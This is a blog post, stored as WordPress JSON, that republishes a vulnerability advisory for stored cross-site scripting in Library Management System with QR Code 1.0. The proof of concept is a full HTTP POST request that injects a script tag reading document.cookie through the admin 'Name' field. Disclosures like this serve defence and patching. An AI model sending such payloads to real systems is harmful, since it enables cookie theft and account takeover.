{"id":26288,"date":"2022-06-27T22:30:00","date_gmt":"2022-06-27T18:30:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167589\/lmsqr10-xss.txt"},"modified":"2022-07-13T10:52:27","modified_gmt":"2022-07-13T06:22:27","slug":"library-management-system-with-qr-code-1-0-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/library-management-system-with-qr-code-1-0-cross-site-scripting\/","title":{"rendered":"Library Management System With QR Code 1.0 Cross Site Scripting"},"content":{"rendered":"<p dir=\"ltr\">#### Title: Library Management System with QR code Attendance 1.0 Stored<br \/>\nCross-Site Scripting<br \/>\n#### Author: Ashish Kumar (<br \/>\nhttps:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184)<br \/>\n#### Date: 27.06.2022<br \/>\n#### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02<br \/>\n#### Software:<br \/>\nhttps:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html<br \/>\n#### Version: 1.0<br \/>\n#### Reference:<br \/>\nhttps:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Cross%20Site%20Scripting(Stored)\/POC.md<\/p>\n<p dir=\"ltr\">#### Description\uff1a<br \/>\n#### Library Management System with QR code Attendance is vulnerable to<br \/>\nStored cross-site scripting on the profile edit page. The &#8220;Name&#8221; parameter<br \/>\nin &#8216;http:\/\/localhost\/LMS\/admin\/edit_admin_details.php&#8217; is vulnerable.<\/p>\n<p dir=\"ltr\">#### Impact:<br \/>\nAn attacker could steal cookies with a crafted URL sent to the victims.<\/p>\n<p dir=\"ltr\">### POC<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\nPOST \/LMS\/admin\/edit_admin_details.php?id=admin HTTP\/1.1<br \/>\nHost: localhost<br \/>\nContent-Length: 115<br \/>\nCache-Control: max-age=0<br \/>\nsec-ch-ua: &#8220;Chromium&#8221;;v=&#8221;97&#8243;, &#8221; Not;A Brand&#8221;;v=&#8221;99&#8243;<br \/>\nsec-ch-ua-mobile: ?0<br \/>\nsec-ch-ua-platform: &#8220;Windows&#8221;<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nOrigin: http:\/\/localhost<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<br \/>\n(KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36<br \/>\nAccept:<br \/>\ntext\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9<br \/>\nSec-Fetch-Site: same-origin<br \/>\nSec-Fetch-Mode: navigate<br \/>\nSec-Fetch-User: ?1<br \/>\nSec-Fetch-Dest: document<br \/>\nReferer: http:\/\/localhost\/LMS\/admin\/edit_admin_details.php<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8<br \/>\nCookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco<br \/>\nConnection: close<\/p>\n<p dir=\"ltr\">Name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&amp;EmailId=admin%<br \/>\n40gmail.com&amp;MobNo=0&amp;Password=admin&amp;submit=<br \/>\n&#8220;`<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#### Title: Library Management System with QR code Attendance 1.0 Stored Cross-Site Scripting #### Author: Ashish Kumar ( https:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184) #### Date: 27.06.2022 #### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02 #### Software: https:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html #### Version: 1.0 #### Reference: https:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Cross%20Site%20Scripting(Stored)\/POC.md #### Description\uff1a #### Library Management System with QR code Attendance is vulnerable to Stored cross-site scripting on the profile edit page. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26288","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26288","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26288"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26288\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}